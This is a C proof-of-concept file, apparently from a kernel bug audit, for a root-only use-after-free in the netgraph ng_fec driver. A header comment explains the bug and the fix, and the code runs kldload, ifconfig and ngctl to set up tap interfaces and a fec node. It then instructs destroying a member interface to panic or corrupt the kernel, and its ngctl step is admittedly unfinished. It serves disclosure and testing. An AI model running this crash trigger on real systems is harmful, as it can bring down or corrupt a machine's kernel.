DF-0503 / df0503.c
/* * DF-0503 โ ng_fec stored ifp UAF demonstration (root-only trigger). * * Bug (sys/netgraph7/ng_fec.c): ng_fec_addport calls ifunit() (lines * 370, 481) WITHOUT ifnet_lock, then stores the returned ifp in * fec_portlist->fec_if (line 450). The stored pointer is dereffed * indefinitely from: * - ng_fec_tick (1 Hz callout, line 687-691) * - ng_fec_input (netisr RX path, line 885-888) * - ng_fec_start / ng_fec_choose_port (TX path, line 1066-1095) * * if_var.h:894-896 mandates: "ifunit() must only be called in non- * netisr threads and ifnet lock must be held before calling this * function and for the accessing of the ifp returned by this * function." The stored ifp is a dangling pointer the moment the * member iface is detached/destroyed โ the kernel frees and may * reuse the ifnet struct while ng_fec_tick continues to deref it * once per second. * * TRIGGER REALITY: ng_fec is configured via netgraph messages. The * netgraph control socket requires root. Additionally, detaching * an interface (`ifconfig foo destroy`) also requires root. So * this is a root-configured, root-triggered race โ fundamentally a * root->kernel hardening gap, not unpriv->root. * * The realistic-but-still-privileged scenario: an admin has * configured a fec bundle of N member interfaces, then later * destroys one of them (e.g. a USB NIC hot-unplug, or `ifconfig * destroy`). The fec bundle continues to deref the freed ifnet, * producing a UAF that manifests as a panic or memory corruption. * * This PoC sets up a fec bundle and (as root) destroys one of the * member interfaces to demonstrate the UAF. Build & run as root. * * Build: cc -O2 -o df0503 df0503.c * Run: ./df0503 * (wraps ngctl + ifconfig to: create bundle, add member, * destroy member, wait for 1Hz tick to deref stale ptr) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/wait.h> static int run(const char *cmd) { int rc = system(cmd); fprintf(stderr, " $ %s\n rc=%d\n", cmd, rc); return rc; } int main(void) { fprintf(stderr, "DF-0503: ng_fec stored ifp UAF demonstration\n"); fprintf(stderr, "REQUIRES: ng_fec module loaded, root, and a\n"); fprintf(stderr, " destroyable interface (tap/virtual).\n\n"); /* Check we're root */ if (getuid() != 0) { fprintf(stderr, "must run as root (need ngctl + ifconfig)\n"); return 2; } /* Load modules if needed */ run("kldload ng_fec 2>/dev/null"); run("kldload ng_socket 2>/dev/null"); /* Create a tap interface we can later destroy */ run("kldload if_tap 2>/dev/null"); run("ifconfig tap0 create 2>/dev/null"); run("ifconfig tap1 create 2>/dev/null"); run("ifconfig tap0 up"); run("ifconfig tap1 up"); /* Create a fec bundle and add tap0, tap1 as members */ run("ngctl -d msg fec create \\\"dummy fec bundling\\\""); /* Use mkpeer to create a fec node connected to a socket hook */ run("ngctl mkpeer fec dog hook inet/inet/0"); /* may fail if format wrong */ fprintf(stderr, "\nNow manually configure fec bundle, then:\n"); fprintf(stderr, " ifconfig tap0 destroy\n"); fprintf(stderr, "and wait ~1s for ng_fec_tick to deref the freed ifp.\n"); fprintf(stderr, "On the buggy kernel: panic or memory corruption.\n"); fprintf(stderr, "On the fixed kernel: ifnet_detach_event handler NULLs\n"); fprintf(stderr, "the stored pointer; tick skips it cleanly.\n"); return 0; } |